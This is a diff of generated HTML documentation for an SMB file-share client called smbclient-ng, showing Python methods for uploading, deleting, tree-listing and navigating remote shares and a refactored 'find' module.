    -659                                pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + remote_dir_path + ntpath.sep + local_file_path), 
    -660                                callback=f.read
    -661                            )
    -662                            f.close()
    -663
    -664                        except BrokenPipeError as err:
    -665                            f.set_error(message="[bold red]Failed uploading '%s': %s" % (f.path, err))
    -666                            f.close(remove=True)
    -667                            break
    -668                        except Exception as err:
    -669                            f.set_error(message="[bold red]Failed uploading '%s': %s" % (f.path, err))
    -670                            f.close(remove=True)
    -671                else:
    -672                    print("[!] The specified localpath is a file. Use 'put <file>' instead.")
    -673        else:
    -674            print("[!] The specified localpath does not exist.")
    +            
    703    def put_file_recursively(self, localpath=None):
    +704        """
    +705        Recursively uploads files from a specified local directory to the SMB share.
    +706
    +707        This method walks through the given local directory and all its subdirectories, uploading each file to the
    +708        corresponding directory structure on the SMB share. It first checks if the local path is a directory. If it is,
    +709        it iterates over all files and directories within the local path, creating necessary directories on the SMB share
    +710        and uploading files. If the local path is not a directory, it prints an error message.
    +711
    +712        Args:
    +713            localpath (str, optional): The local directory path from which files will be uploaded. Defaults to None.
    +714        """
    +715
    +716        if os.path.exists(localpath):
    +717            if os.path.isfile(localpath):
    +718                # Iterate over all files and directories within the local path
    +719                local_files = {}
    +720                for root, dirs, files in os.walk(localpath):
    +721                    if len(files) != 0:
    +722                        local_files[root] = files
    +723
    +724                # Iterate over the found files
    +725                for local_dir_path in sorted(local_files.keys()):
    +726                    print("[>] Putting files of '%s'" % local_dir_path)
    +727
    +728                    # Create remote directory
    +729                    remote_dir_path = local_dir_path.replace(os.path.sep, ntpath.sep)
    +730                    self.mkdir(
    +731                        path=ntpath.normpath(self.smb_cwd + ntpath.sep + remote_dir_path + ntpath.sep)
    +732                    )
    +733
    +734                    for local_file_path in local_files[local_dir_path]:
    +735                        try:
    +736                            f = LocalFileIO(
    +737                                mode="rb", 
    +738                                path=local_dir_path + os.path.sep + local_file_path, 
    +739                                debug=self.config.debug
    +740                            )
    +741                            self.smbClient.putFile(
    +742                                shareName=self.smb_share, 
    +743                                pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + remote_dir_path + ntpath.sep + local_file_path), 
    +744                                callback=f.read
    +745                            )
    +746                            f.close()
    +747
    +748                        except BrokenPipeError as err:
    +749                            f.set_error(message="[bold red]Failed uploading '%s': %s" % (f.path, err))
    +750                            f.close(remove=True)
    +751                            break
    +752                        except Exception as err:
    +753                            f.set_error(message="[bold red]Failed uploading '%s': %s" % (f.path, err))
    +754                            f.close(remove=True)
    +755                else:
    +756                    print("[!] The specified localpath is a file. Use 'put <file>' instead.")
    +757        else:
    +758            print("[!] The specified localpath does not exist.")
     
    @@ -3178,26 +3476,26 @@

    -
    676    def rmdir(self, path=None):
    -677        """
    -678        Removes a directory from the SMB share at the specified path.
    -679
    -680        This method attempts to delete a directory located at the given path on the SMB share. If the operation fails,
    -681        it prints an error message indicating the failure and the reason. If debugging is enabled, it also prints
    -682        the stack trace of the exception.
    -683
    -684        Args:
    -685            path (str, optional): The path of the directory to be removed on the SMB share. Defaults to None.
    -686        """
    -687        try:
    -688            self.smbClient.deleteDirectory(
    -689                shareName=self.smb_share, 
    -690                pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + path), 
    -691            )
    -692        except Exception as err:
    -693            print("[!] Failed to remove directory '%s': %s" % (path, err))
    -694            if self.config.debug:
    -695                traceback.print_exc()
    +            
    760    def rmdir(self, path=None):
    +761        """
    +762        Removes a directory from the SMB share at the specified path.
    +763
    +764        This method attempts to delete a directory located at the given path on the SMB share. If the operation fails,
    +765        it prints an error message indicating the failure and the reason. If debugging is enabled, it also prints
    +766        the stack trace of the exception.
    +767
    +768        Args:
    +769            path (str, optional): The path of the directory to be removed on the SMB share. Defaults to None.
    +770        """
    +771        try:
    +772            self.smbClient.deleteDirectory(
    +773                shareName=self.smb_share, 
    +774                pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + path), 
    +775            )
    +776        except Exception as err:
    +777            print("[!] Failed to remove directory '%s': %s" % (path, err))
    +778            if self.config.debug:
    +779                traceback.print_exc()
     
    @@ -3224,26 +3522,26 @@

    -
    697    def rm(self, path=None):
    -698        """
    -699        Removes a file from the SMB share at the specified path.
    -700
    -701        This method attempts to delete a file located at the given path on the SMB share. If the operation fails,
    -702        it prints an error message indicating the failure and the reason. If debugging is enabled, it also prints
    -703        the stack trace of the exception.
    -704
    -705        Args:
    -706            path (str, optional): The path of the file to be removed on the SMB share. Defaults to None.
    -707        """
    -708        try:
    -709            self.smbClient.deleteFile(
    -710                shareName=self.smb_share, 
    -711                pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + path), 
    -712            )
    -713        except Exception as err:
    -714            print("[!] Failed to remove file '%s': %s" % (path, err))
    -715            if self.config.debug:
    -716                traceback.print_exc()
    +            
    781    def rm(self, path=None):
    +782        """
    +783        Removes a file from the SMB share at the specified path.
    +784
    +785        This method attempts to delete a file located at the given path on the SMB share. If the operation fails,
    +786        it prints an error message indicating the failure and the reason. If debugging is enabled, it also prints
    +787        the stack trace of the exception.
    +788
    +789        Args:
    +790            path (str, optional): The path of the file to be removed on the SMB share. Defaults to None.
    +791        """
    +792        try:
    +793            self.smbClient.deleteFile(
    +794                shareName=self.smb_share, 
    +795                pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + path), 
    +796            )
    +797        except Exception as err:
    +798            print("[!] Failed to remove file '%s': %s" % (path, err))
    +799            if self.config.debug:
    +800                traceback.print_exc()
     
    @@ -3270,135 +3568,135 @@

    -
    718    def tree(self, path=None):
    -719        """
    -720        Recursively lists the directory structure of the SMB share starting from the specified path.
    -721
    -722        This function prints a visual representation of the directory tree of the remote SMB share. It uses
    -723        recursion to navigate through directories and lists all files and subdirectories in each directory.
    -724        The output is color-coded and formatted to enhance readability, with directories highlighted in cyan.
    -725
    -726        Args:
    -727            path (str, optional): The starting path on the SMB share from which to begin listing the tree.
    -728                                  Defaults to the root of the current share.
    -729        """
    -730        
    -731        def recurse_action(base_dir="", path=[], prompt=[]):
    -732            bars = ["│   ", "├── ", "└── "]
    -733
    -734            remote_smb_path = ntpath.normpath(base_dir + ntpath.sep + ntpath.sep.join(path))
    -735
    -736            entries = []
    -737            try:
    -738                entries = self.smbClient.listPath(
    -739                    shareName=self.smb_share, 
    -740                    path=remote_smb_path+'\\*'
    -741                )
    -742            except impacket.smbconnection.SessionError as err:
    -743                code, const, text = err.getErrorCode(), err.getErrorString()[0], err.getErrorString()[1]
    -744                errmsg = "Error 0x%08x (%s): %s" % (code, const, text)
    -745                if self.config.no_colors:
    -746                    print("%s%s" % (''.join(prompt+[bars[2]]), errmsg))
    -747                else:
    -748                    print("%s\x1b[1;91m%s\x1b[0m" % (''.join(prompt+[bars[2]]), errmsg))
    -749                return 
    -750
    -751            entries = [e for e in entries if e.get_longname() not in [".", ".."]]
    -752            entries = sorted(entries, key=lambda x:x.get_longname())
    -753
    -754            # 
    -755            if len(entries) > 1:
    -756                index = 0
    -757                for entry in entries:
    -758                    index += 1
    -759                    # This is the first entry 
    -760                    if index == 0:
    -761                        if entry.is_directory():
    -762                            if self.config.no_colors:
    -763                                print("%s%s\\" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    -764                            else:
    -765                                print("%s\x1b[1;96m%s\x1b[0m\\" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    -766                            recurse_action(
    -767                                base_dir=base_dir, 
    -768                                path=path+[entry.get_longname()],
    -769                                prompt=prompt+["│   "]
    -770                            )
    -771                        else:
    -772                            if self.config.no_colors:
    -773                                print("%s%s" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    -774                            else:
    -775                                print("%s\x1b[1m%s\x1b[0m" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    -776
    -777                    # This is the last entry
    -778                    elif index == len(entries):
    -779                        if entry.is_directory():
    -780                            if self.config.no_colors:
    -781                                print("%s%s\\" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    -782                            else:
    -783                                print("%s\x1b[1;96m%s\x1b[0m\\" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    -784                            recurse_action(
    -785                                base_dir=base_dir, 
    -786                                path=path+[entry.get_longname()],
    -787                                prompt=prompt+["    "]
    -788                            )
    -789                        else:
    -790                            if self.config.no_colors:
    -791                                print("%s%s" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    -792                            else:
    -793                                print("%s\x1b[1m%s\x1b[0m" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    -794                        
    -795                    # These are entries in the middle
    -796                    else:
    -797                        if entry.is_directory():
    -798                            if self.config.no_colors:
    -799                                print("%s%s\\" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    -800                            else:
    -801                                print("%s\x1b[1;96m%s\x1b[0m\\" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    -802                            recurse_action(
    -803                                base_dir=base_dir, 
    -804                                path=path+[entry.get_longname()],
    -805                                prompt=prompt+["│   "]
    -806                            )
    -807                        else:
    -808                            if self.config.no_colors:
    -809                                print("%s%s" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    -810                            else:
    -811                                print("%s\x1b[1m%s\x1b[0m" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    -812
    -813            # 
    -814            elif len(entries) == 1:
    -815                entry = entries[0]
    -816                if entry.is_directory():
    -817                    if self.config.no_colors:
    -818                        print("%s%s\\" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    -819                    else:
    -820                        print("%s\x1b[1;96m%s\x1b[0m\\" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    -821                    recurse_action(
    -822                        base_dir=base_dir, 
    -823                        path=path+[entry.get_longname()],
    -824                        prompt=prompt+["    "]
    -825                    )
    -826                else:
    -827                    if self.config.no_colors:
    -828                        print("%s%s" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    -829                    else:
    -830                        print("%s\x1b[1m%s\x1b[0m" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    -831
    -832        # Entrypoint
    -833        try:
    -834            if self.config.no_colors:
    -835                print("%s\\" % path)
    -836            else:
    -837                print("\x1b[1;96m%s\x1b[0m\\" % path)
    -838            recurse_action(
    -839                base_dir=self.smb_cwd, 
    -840                path=[path],
    -841                prompt=[""]
    -842            )
    -843        except (BrokenPipeError, KeyboardInterrupt) as e:
    -844            print("[!] Interrupted.")
    -845            self.close_smb_session()
    -846            self.init_smb_session()
    +            
    802    def tree(self, path=None):
    +803        """
    +804        Recursively lists the directory structure of the SMB share starting from the specified path.
    +805
    +806        This function prints a visual representation of the directory tree of the remote SMB share. It uses
    +807        recursion to navigate through directories and lists all files and subdirectories in each directory.
    +808        The output is color-coded and formatted to enhance readability, with directories highlighted in cyan.
    +809
    +810        Args:
    +811            path (str, optional): The starting path on the SMB share from which to begin listing the tree.
    +812                                  Defaults to the root of the current share.
    +813        """
    +814        
    +815        def recurse_action(base_dir="", path=[], prompt=[]):
    +816            bars = ["│   ", "├── ", "└── "]
    +817
    +818            remote_smb_path = ntpath.normpath(base_dir + ntpath.sep + ntpath.sep.join(path))
    +819
    +820            entries = []
    +821            try:
    +822                entries = self.smbClient.listPath(
    +823                    shareName=self.smb_share, 
    +824                    path=remote_smb_path+'\\*'
    +825                )
    +826            except impacket.smbconnection.SessionError as err:
    +827                code, const, text = err.getErrorCode(), err.getErrorString()[0], err.getErrorString()[1]
    +828                errmsg = "Error 0x%08x (%s): %s" % (code, const, text)
    +829                if self.config.no_colors:
    +830                    print("%s%s" % (''.join(prompt+[bars[2]]), errmsg))
    +831                else:
    +832                    print("%s\x1b[1;91m%s\x1b[0m" % (''.join(prompt+[bars[2]]), errmsg))
    +833                return 
    +834
    +835            entries = [e for e in entries if e.get_longname() not in [".", ".."]]
    +836            entries = sorted(entries, key=lambda x:x.get_longname())
    +837
    +838            # 
    +839            if len(entries) > 1:
    +840                index = 0
    +841                for entry in entries:
    +842                    index += 1
    +843                    # This is the first entry 
    +844                    if index == 0:
    +845                        if entry.is_directory():
    +846                            if self.config.no_colors:
    +847                                print("%s%s\\" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    +848                            else:
    +849                                print("%s\x1b[1;96m%s\x1b[0m\\" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    +850                            recurse_action(
    +851                                base_dir=base_dir, 
    +852                                path=path+[entry.get_longname()],
    +853                                prompt=prompt+["│   "]
    +854                            )
    +855                        else:
    +856                            if self.config.no_colors:
    +857                                print("%s%s" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    +858                            else:
    +859                                print("%s\x1b[1m%s\x1b[0m" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    +860
    +861                    # This is the last entry
    +862                    elif index == len(entries):
    +863                        if entry.is_directory():
    +864                            if self.config.no_colors:
    +865                                print("%s%s\\" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    +866                            else:
    +867                                print("%s\x1b[1;96m%s\x1b[0m\\" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    +868                            recurse_action(
    +869                                base_dir=base_dir, 
    +870                                path=path+[entry.get_longname()],
    +871                                prompt=prompt+["    "]
    +872                            )
    +873                        else:
    +874                            if self.config.no_colors:
    +875                                print("%s%s" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    +876                            else:
    +877                                print("%s\x1b[1m%s\x1b[0m" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    +878                        
    +879                    # These are entries in the middle
    +880                    else:
    +881                        if entry.is_directory():
    +882                            if self.config.no_colors:
    +883                                print("%s%s\\" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    +884                            else:
    +885                                print("%s\x1b[1;96m%s\x1b[0m\\" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    +886                            recurse_action(
    +887                                base_dir=base_dir, 
    +888                                path=path+[entry.get_longname()],
    +889                                prompt=prompt+["│   "]
    +890                            )
    +891                        else:
    +892                            if self.config.no_colors:
    +893                                print("%s%s" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    +894                            else:
    +895                                print("%s\x1b[1m%s\x1b[0m" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    +896
    +897            # 
    +898            elif len(entries) == 1:
    +899                entry = entries[0]
    +900                if entry.is_directory():
    +901                    if self.config.no_colors:
    +902                        print("%s%s\\" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    +903                    else:
    +904                        print("%s\x1b[1;96m%s\x1b[0m\\" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    +905                    recurse_action(
    +906                        base_dir=base_dir, 
    +907                        path=path+[entry.get_longname()],
    +908                        prompt=prompt+["    "]
    +909                    )
    +910                else:
    +911                    if self.config.no_colors:
    +912                        print("%s%s" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    +913                    else:
    +914                        print("%s\x1b[1m%s\x1b[0m" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    +915
    +916        # Entrypoint
    +917        try:
    +918            if self.config.no_colors:
    +919                print("%s\\" % path)
    +920            else:
    +921                print("\x1b[1;96m%s\x1b[0m\\" % path)
    +922            recurse_action(
    +923                base_dir=self.smb_cwd, 
    +924                path=[path],
    +925                prompt=[""]
    +926            )
    +927        except (BrokenPipeError, KeyboardInterrupt) as e:
    +928            print("[!] Interrupted.")
    +929            self.close_smb_session()
    +930            self.init_smb_session()
     
    @@ -3426,22 +3724,27 @@

    -
    850    def set_share(self, shareName):
    -851        """
    -852        Sets the current SMB share to the specified share name.
    -853
    -854        This method updates the SMB session to use the specified share name. It checks if the share name is valid
    -855        and updates the smb_share attribute of the SMBSession instance.
    -856
    -857        Parameters:
    -858            shareName (str): The name of the share to set as the current SMB share.
    -859
    -860        Raises:
    -861            ValueError: If the shareName is None or an empty string.
    -862        """
    -863
    -864        if shareName is not None:
    -865            self.smb_share = shareName
    +            
    934    def set_share(self, shareName):
    +935        """
    +936        Sets the current SMB share to the specified share name.
    +937
    +938        This method updates the SMB session to use the specified share name. It checks if the share name is valid
    +939        and updates the smb_share attribute of the SMBSession instance.
    +940
    +941        Parameters:
    +942            shareName (str): The name of the share to set as the current SMB share.
    +943
    +944        Raises:
    +945            ValueError: If the shareName is None or an empty string.
    +946        """
    +947
    +948        if shareName is not None:
    +949            self.list_shares()
    +950            if shareName.lower() in self.available_shares.keys():
    +951                # Doing this in order to keep the case of the share adevertised by the remote machine
    +952                self.smb_share = self.available_shares[shareName.lower()]["name"]
    +953            else:
    +954                print("[!] Could not set share '%s', it does not exist remotely." % shareName)
     
    @@ -3470,48 +3773,48 @@

    -
    867    def set_cwd(self, path=None):
    -868        """
    -869        Sets the current working directory on the SMB share to the specified path.
    -870
    -871        This method updates the current working directory (cwd) of the SMB session to the given path if it is a valid directory.
    -872        If the specified path is not a directory, the cwd remains unchanged.
    -873
    -874        Parameters:
    -875            path (str): The path to set as the current working directory.
    -876
    -877        Raises:
    -878            ValueError: If the specified path is not a directory.
    -879        """
    -880
    -881        if path is not None:
    -882            # Set path separators to ntpath sep 
    -883            if '/' in path:
    -884                path = path.replace('/', ntpath.sep)
    -885
    -886            if path.startswith(ntpath.sep):
    -887                # Absolute path
    -888                path = path + ntpath.sep
    -889            else:
    -890                # Relative path to the CWD
    -891                if len(self.smb_cwd) == 0:
    -892                    path = path + ntpath.sep
    -893                else:
    -894                    path = self.smb_cwd + ntpath.sep + path
    -895            
    -896            # Path normalization
    -897            path = ntpath.normpath(path)
    -898            path = re.sub(r'\\+', r'\\', path)
    -899
    -900            if path in ["", ".", ".."]:
    -901                self.smb_cwd = ""
    -902            else:
    -903                if self.path_isdir(pathFromRoot=path.strip(ntpath.sep)):
    -904                    # Path exists on the remote 
    -905                    self.smb_cwd = ntpath.normpath(path)
    -906                else:
    -907                    # Path does not exists or is not a directory on the remote 
    -908                    print("[!] Remote directory '%s' does not exist." % path)
    +            
    956    def set_cwd(self, path=None):
    +957        """
    +958        Sets the current working directory on the SMB share to the specified path.
    +959
    +960        This method updates the current working directory (cwd) of the SMB session to the given path if it is a valid directory.
    +961        If the specified path is not a directory, the cwd remains unchanged.
    +962
    +963        Parameters:
    +964            path (str): The path to set as the current working directory.
    +965
    +966        Raises:
    +967            ValueError: If the specified path is not a directory.
    +968        """
    +969
    +970        if path is not None:
    +971            # Set path separators to ntpath sep 
    +972            if '/' in path:
    +973                path = path.replace('/', ntpath.sep)
    +974
    +975            if path.startswith(ntpath.sep):
    +976                # Absolute path
    +977                path = path + ntpath.sep
    +978            else:
    +979                # Relative path to the CWD
    +980                if len(self.smb_cwd) == 0:
    +981                    path = path + ntpath.sep
    +982                else:
    +983                    path = self.smb_cwd + ntpath.sep + path
    +984            
    +985            # Path normalization
    +986            path = ntpath.normpath(path)
    +987            path = re.sub(r'\\+', r'\\', path)
    +988
    +989            if path in ["", ".", ".."]:
    +990                self.smb_cwd = ""
    +991            else:
    +992                if self.path_isdir(pathFromRoot=path.strip(ntpath.sep)):
    +993                    # Path exists on the remote 
    +994                    self.smb_cwd = ntpath.normpath(path)
    +995                else:
    +996                    # Path does not exists or is not a directory on the remote 
    +997                    print("[!] Remote directory '%s' does not exist." % path)
     
    diff --git a/documentation/smbclientng/modules.html b/documentation/smbclientng/modules.html index da054db..84ad3a9 100644 --- a/documentation/smbclientng/modules.html +++ b/documentation/smbclientng/modules.html @@ -30,6 +30,7 @@

    Submodules

    diff --git a/documentation/smbclientng/modules/Find.html b/documentation/smbclientng/modules/Find.html index 9e513f6..5263183 100644 --- a/documentation/smbclientng/modules/Find.html +++ b/documentation/smbclientng/modules/Find.html @@ -112,7 +112,7 @@

    41 # Adding positional arguments 42 parser.add_argument("paths", metavar="PATH", type=str, nargs="*", default=[], help="The starting point(s) for the search.") 43 - 44 # Adding tests, actions, and options for expressions (incomplete for brevity) + 44 # Adding options for filtering 45 parser.add_argument("-name", type=str, help="Base of file name (the path with the leading directories removed).") 46 parser.add_argument("-iname", type=str, help="Like -name, but the match is case insensitive.") 47 parser.add_argument("-type", type=str, default=None, help="File type (e.g., f for regular file, d for directory).") @@ -125,7 +125,7 @@

    54 parser.add_argument("-ls", action="store_true", default=False, help="List current file in ls -dils format on standard output.") 55 parser.add_argument("-download", action="store_true", default=False, help="List current file in ls -dils format on standard output.") 56 - 57 # Other options (incomplete for brevity) + 57 # Other options 58 parser.add_argument("-maxdepth", type=int, help="Descend at most levels (a non-negative integer) levels of directories below the command line arguments.") 59 parser.add_argument("-mindepth", type=int, help="Do not apply any tests or actions at levels less than levels (a non-negative integer).") 60 @@ -142,181 +142,155 @@

    71 72 return self.options 73 - 74 def __recurse_action(self, paths=[], depth=0): - 75 """ - 76 Recursively searches for files in a directory hierarchy and prints the results based on specified criteria. - 77 - 78 Args: - 79 base_dir (str): The base directory to start the search from. - 80 paths (list): List of paths to search within the base directory. - 81 depth (int): The current depth level in the directory hierarchy. - 82 - 83 Returns: - 84 None - 85 """ - 86 - 87 next_directories_to_explore = [] + 74 def __find_callback(self, entry, fullpath, depth): + 75 # Documentation for __find_callback function + 76 """ + 77 This function serves as a callback for the find operation. It applies filters based on the command line arguments + 78 and decides whether to print, download, or list the entry in 'ls -dils' format if it matches the specified filters. + 79 + 80 Args: + 81 entry (SMBEntry): The current file or directory entry being processed. + 82 fullpath (str): The full path to the entry. + 83 + 84 The function checks against filters such as file name, case sensitivity, file type, and size. If the entry matches + 85 the filters, it will perform actions like printing the entry's details, downloading the entry, or listing the entry + 86 based on the options provided in the command line arguments. + 87 """ 88 - 89 for path in paths: - 90 remote_smb_path = ntpath.normpath(self.smbSession.smb_cwd + ntpath.sep + path) - 91 - 92 entries = [] - 93 try: - 94 entries = self.smbSession.smbClient.listPath( - 95 shareName=self.smbSession.smb_share, - 96 path=(remote_smb_path + ntpath.sep + '*') - 97 ) - 98 except impacket.smbconnection.SessionError as err: - 99 continue -100 # Remove dot names -101 entries = [e for e in entries if e.get_longname() not in [".", ".."]] -102 # Sort the entries ignoring case -103 entries = sorted(entries, key=lambda x:x.get_longname().lower()) -104 -105 # Match and print results -106 do_print_results = True -107 if self.options.mindepth is not None: -108 if depth < self.options.mindepth: -109 do_print_results = False -110 if self.options.maxdepth is not None: -111 if depth > self.options.maxdepth: -112 do_print_results = False -113 -114 if do_print_results: -115 for entry in entries: -116 do_print_entry = False -117 # Print directory -118 if entry.is_directory(): -119 if (self.options.type == 'd' or self.options.type is None): -120 # No name filtering -121 if self.options.name is None and self.options.iname is None: -122 do_print_entry = True -123 -124 # Filtering on names case sensitive -125 elif self.options.name is not None: -126 if '*' in self.options.name: -127 regex = self.options.name -128 regex = regex.replace('.', '\\.') -129 regex = regex.replace('*', '.*') -130 regex = '^' + regex + '$' -131 if re.match(regex, entry.get_longname()): -132 do_print_entry = True -133 else: -134 do_print_entry = False -135 else: -136 do_print_entry = (entry.get_longname().lower() == self.options.name.lower()) -137 -138 # Filtering on names case insensitive -139 elif self.options.iname is not None: -140 if '*' in self.options.iname: -141 regex = self.options.iname -142 regex = regex.replace('.', '\\.') -143 regex = regex.replace('*', '.*') -144 regex = '^' + regex + '$' -145 if re.match(regex, entry.get_longname(), re.IGNORECASE): -146 do_print_entry = True -147 else: -148 do_print_entry = False -149 else: -150 do_print_entry = (entry.get_longname().lower() == self.options.iname.lower()) -151 -152 # Print file -153 else: -154 if (self.options.type == 'f' or self.options.type is None): -155 # No name filtering -156 if self.options.name is None and self.options.iname is None: -157 do_print_entry = True -158 -159 # Filtering on names case sensitive -160 elif self.options.name is not None: -161 if '*' in self.options.name: -162 regex = self.options.name -163 regex = regex.replace('.', '\\.') -164 regex = regex.replace('*', '.*') -165 regex = '^' + regex + '$' -166 if re.match(regex, entry.get_longname()): -167 do_print_entry = True -168 else: -169 do_print_entry = False -170 else: -171 do_print_entry = (entry.get_longname().lower() == self.options.name.lower()) -172 -173 # Filtering on names case insensitive -174 elif self.options.iname is not None: -175 if '*' in self.options.iname: -176 regex = self.options.iname -177 regex = regex.replace('.', '\\.') -178 regex = regex.replace('*', '.*') -179 regex = '^' + regex + '$' -180 if re.match(regex, entry.get_longname(), re.IGNORECASE): -181 do_print_entry = True -182 else: -183 do_print_entry = False -184 else: -185 do_print_entry = (entry.get_longname().lower() == self.options.iname.lower()) -186 -187 if do_print_entry: -188 # Actions on matches -189 if self.options.download: -190 if entry.is_directory(): -191 self.smbSession.get_file_recursively(path=(path + entry.get_longname() + ntpath.sep)) -192 else: -193 self.smbSession.get_file(path=(path + entry.get_longname() + ntpath.sep), keepRemotePath=True) -194 # Output formats -195 if self.options.ls: -196 if entry.is_directory(): -197 windows_ls_entry(entry, (path + entry.get_longname() + ntpath.sep)) -198 else: -199 windows_ls_entry(entry, (path + entry.get_longname())) -200 else: -201 if entry.is_directory(): -202 print("%s" % (path + entry.get_longname() + ntpath.sep)) -203 else: -204 print("%s" % (path + entry.get_longname())) + 89 # Match and print results + 90 do_print_results = True + 91 if self.options.mindepth is not None: + 92 if depth < self.options.mindepth: + 93 do_print_results = False + 94 if self.options.maxdepth is not None: + 95 if depth > self.options.maxdepth: + 96 do_print_results = False + 97 + 98 if do_print_results: + 99 do_print_entry = False +100 # Print directory +101 if entry.is_directory(): +102 if (self.options.type == 'd' or self.options.type is None): +103 # No name filtering +104 if self.options.name is None and self.options.iname is None: +105 do_print_entry = True +106 +107 # Filtering on names case sensitive +108 elif self.options.name is not None: +109 if '*' in self.options.name: +110 regex = self.options.name +111 regex = regex.replace('.', '\\.') +112 regex = regex.replace('*', '.*') +113 regex = '^' + regex + '$' +114 if re.match(regex, entry.get_longname()): +115 do_print_entry = True +116 else: +117 do_print_entry = False +118 else: +119 do_print_entry = (entry.get_longname().lower() == self.options.name.lower()) +120 +121 # Filtering on names case insensitive +122 elif self.options.iname is not None: +123 if '*' in self.options.iname: +124 regex = self.options.iname +125 regex = regex.replace('.', '\\.') +126 regex = regex.replace('*', '.*') +127 regex = '^' + regex + '$' +128 if re.match(regex, entry.get_longname(), re.IGNORECASE): +129 do_print_entry = True +130 else: +131 do_print_entry = False +132 else: +133 do_print_entry = (entry.get_longname().lower() == self.options.iname.lower()) +134 +135 # Print file +136 else: +137 if (self.options.type == 'f' or self.options.type is None): +138 # No name filtering +139 if self.options.name is None and self.options.iname is None: +140 do_print_entry = True +141 +142 # Filtering on names case sensitive +143 elif self.options.name is not None: +144 if '*' in self.options.name: +145 regex = self.options.name +146 regex = regex.replace('.', '\\.') +147 regex = regex.replace('*', '.*') +148 regex = '^' + regex + '$' +149 if re.match(regex, entry.get_longname()): +150 do_print_entry = True +151 else: +152 do_print_entry = False +153 else: +154 do_print_entry = (entry.get_longname().lower() == self.options.name.lower()) +155 +156 # Filtering on names case insensitive +157 elif self.options.iname is not None: +158 if '*' in self.options.iname: +159 regex = self.options.iname +160 regex = regex.replace('.', '\\.') +161 regex = regex.replace('*', '.*') +162 regex = '^' + regex + '$' +163 if re.match(regex, entry.get_longname(), re.IGNORECASE): +164 do_print_entry = True +165 else: +166 do_print_entry = False +167 else: +168 do_print_entry = (entry.get_longname().lower() == self.options.iname.lower()) +169 +170 if do_print_entry: +171 # Actions on matches +172 if self.options.download: +173 if entry.is_directory(): +174 self.smbSession.get_file_recursively(path=fullpath) +175 else: +176 self.smbSession.get_file(path=fullpath, keepRemotePath=True) +177 # Output formats +178 if self.options.ls: +179 if entry.is_directory(): +180 windows_ls_entry(entry, fullpath) +181 else: +182 windows_ls_entry(entry, fullpath) +183 else: +184 if entry.is_directory(): +185 print("%s" % fullpath) +186 else: +187 print("%s" % fullpath) +188 +189 return None +190 +191 def run(self, arguments): +192 """ +193 This function recursively searches for files in a directory hierarchy and prints the results based on specified criteria. +194 +195 Args: +196 base_dir (str): The base directory to start the search from. +197 paths (list): List of paths to search within the base directory. +198 depth (int): The current depth level in the directory hierarchy. +199 +200 Returns: +201 None +202 """ +203 +204 self.options = self.parseArgs(arguments=arguments) 205 -206 # Next directories to explore -207 for entry in entries: -208 if entry.is_directory(): -209 next_directories_to_explore.append(path + entry.get_longname() + ntpath.sep) -210 -211 return next_directories_to_explore -212 -213 def run(self, arguments): -214 """ -215 This function recursively searches for files in a directory hierarchy and prints the results based on specified criteria. -216 -217 Args: -218 base_dir (str): The base directory to start the search from. -219 paths (list): List of paths to search within the base directory. -220 depth (int): The current depth level in the directory hierarchy. -221 -222 Returns: -223 None -224 """ -225 -226 self.options = self.parseArgs(arguments=arguments) -227 -228 if self.options is not None: -229 # Entrypoint -230 try: -231 next_directories_to_explore = [] -232 for path in list(set(self.options.paths)): -233 next_directories_to_explore.append(ntpath.normpath(path) + ntpath.sep) -234 next_directories_to_explore = sorted(list(set(next_directories_to_explore))) -235 -236 depth = 0 -237 -238 while len(next_directories_to_explore) != 0: -239 next_directories_to_explore = self.__recurse_action( -240 paths=next_directories_to_explore, -241 depth=depth -242 ) -243 depth = depth + 1 -244 -245 except (BrokenPipeError, KeyboardInterrupt) as e: -246 print("[!] Interrupted.") -247 self.smbSession.close_smb_session() -248 self.smbSession.init_smb_session() +206 if self.options is not None: +207 # Entrypoint +208 try: +209 next_directories_to_explore = [] +210 for path in list(set(self.options.paths)): +211 next_directories_to_explore.append(ntpath.normpath(path) + ntpath.sep) +212 next_directories_to_explore = sorted(list(set(next_directories_to_explore))) +213 +214 self.smbSession.find( +215 paths=next_directories_to_explore, +216 callback=self.__find_callback +217 ) +218 +219 except (BrokenPipeError, KeyboardInterrupt) as e: +220 print("[!] Interrupted.") +221 self.smbSession.close_smb_session() +222 self.smbSession.init_smb_session()

    @@ -360,7 +334,7 @@

